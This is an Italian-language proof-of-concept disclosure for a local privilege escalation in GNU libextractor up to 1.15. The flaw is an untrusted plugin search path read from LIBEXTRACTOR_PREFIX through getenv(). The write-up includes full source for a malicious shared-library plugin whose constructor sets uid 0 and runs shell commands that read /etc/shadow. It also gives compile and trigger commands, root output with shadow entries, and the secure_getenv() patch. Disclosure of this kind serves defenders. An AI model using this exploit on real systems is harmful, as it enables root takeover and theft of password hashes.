
Proof-of-concept per CVE-2026-100310, un'escalation locale dei privilegi in GNU libextractor ≤1.15 tramite il percorso di ricerca non attendibile LIBEXTRACTOR_PREFIX, con codice di exploit e analisi della patch.
Il meccanismo di caricamento dei plugin di GNU libextractor utilizza la variabile d'ambiente LIBEXTRACTOR_PREFIX per determinare da dove caricare le librerie condivise (plugin .so). Poiché utilizza getenv() invece di secure_getenv(), questa variabile d'ambiente non viene rimossa quando un processo viene eseguito con privilegi elevati. Un attaccante può impostare LIBEXTRACTOR_PREFIX su una directory malevola, forzando qualsiasi applicazione che carica i plugin di libextractor a eseguire codice arbitrario.
Impatto principale: Escalation di privilegi locale (LPE) a root.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-100310 |
| Prodotto | GNU libextractor |
| Versioni interessate | >= 0, < 1.16 |
| Versione corretta | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Gravità | HIGH |
| CWE | CWE-426 (Untrusted Search Path) |
| Vettore di attacco | Locale |
| Privilegi richiesti | Bassi |
| Interazione utente | Nessuna |
| CNA | VulnCheck |
| Ricercatore | Haitam Lazaar |
Nota: Affinché questa vulnerabilità comporti un'Escalation di Privilegi Locale, un amministratore deve aver configurato un binario che si collega a
libextractorcon il bitsetuid. Sebbenelibextractorstesso non venga distribuito con un binariosetuid, qualsiasi processo privilegiato o demone di sistema che collega dinamicamente questa libreria e non riesce a sanificare manualmente l'ambiente è vulnerabile a un compromesso completo.
setuid o demone privilegiato che si collega a libextractor
L'animazione sopra dimostra l'exploit. L'attaccante compila una libreria condivisa malevola (evil_plugin.c) e la colloca in /tmp/evil_plugins. Eseguendo un binario setuid che utilizza libextractor e anteponendo al comando LIBEXTRACTOR_PREFIX=/tmp/evil_plugins, il linker dinamico carica il plugin malevolo con privilegi elevati. Questo esegue immediatamente comandi arbitrari come root, come dimostrato scrivendo l'output di id e il file protetto /etc/shadow in /tmp/privesc_proof.
La vulnerabilità viene principalmente attivata sfruttando la variabile d'ambiente LIBEXTRACTOR_PREFIX.
(Nota: libextractor contiene anche fallback secondari non sicuri che utilizzano /proc/PID/maps e directory PATH scrivibili, ma l'iniezione della variabile d'ambiente è il vettore di attacco più diretto e affidabile).
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Testato su Ubuntu 24.04 con libextractor 1.14:
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
In src/main/extractor_plugpath.c, la funzione get_installation_paths() chiama la getenv() standard:
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
Poiché non utilizza secure_getenv(), il linker dinamico non rimuove questa variabile quando il binario viene eseguito con privilegi elevati (a differenza di LD_PRELOAD o LD_LIBRARY_PATH). lt_dlopenadvise() carica quindi ciecamente libextractor_<name>.so dal percorso controllato dall'attaccante.
Il maintainer ha corretto questo problema nella versione 1.16 sostituendo getenv() con secure_getenv(), che restituisce NULL quando il processo viene eseguito con privilegi elevati (euid != uid).
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
Scoperto da me (Haitam Lazaar) durante la mia ricerca di sicurezza indipendente.
Un ringraziamento speciale a Christian Grothoff, il maintainer di GNU libextractor, per il suo triage incredibilmente rapido, la comunicazione professionale e il rapido rilascio di patch (v1.15, v1.16 e v1.17) per risolvere questa e diverse altre problematiche di sicurezza della memoria segnalate durante questo audit.
La mia ricerca è fornita per scopi educativi e difensivi. Usare in modo responsabile.